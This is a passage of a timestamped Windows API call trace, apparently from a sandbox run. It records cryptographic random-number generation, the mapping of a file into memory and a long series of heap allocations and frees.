	[0035.634] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0036.319] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0036.319] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0036.319] CreateFileMappingW (hFile=0xb4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0xb8
	[0036.320] MapViewOfFile (hFileMappingObject=0xb8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000
	[0036.320] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0036.320] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0036.321] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x596f88
	[0036.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596f88 | out: hHeap=0x580000) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0036.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599030
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x5bd858
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x59a680
	[0036.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x59b8b0
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x20c) returned 0x59bac0
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x5c8c38
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0036.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x59bcd8
	[0036.321] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0036.321] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x5c8c50
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba970
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8c50 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x204) returned 0x59bee8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.325] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.325] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.326] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
	[0036.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd8b8
	[0036.327] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd8b8 | out: hHeap=0x580000) returned 1
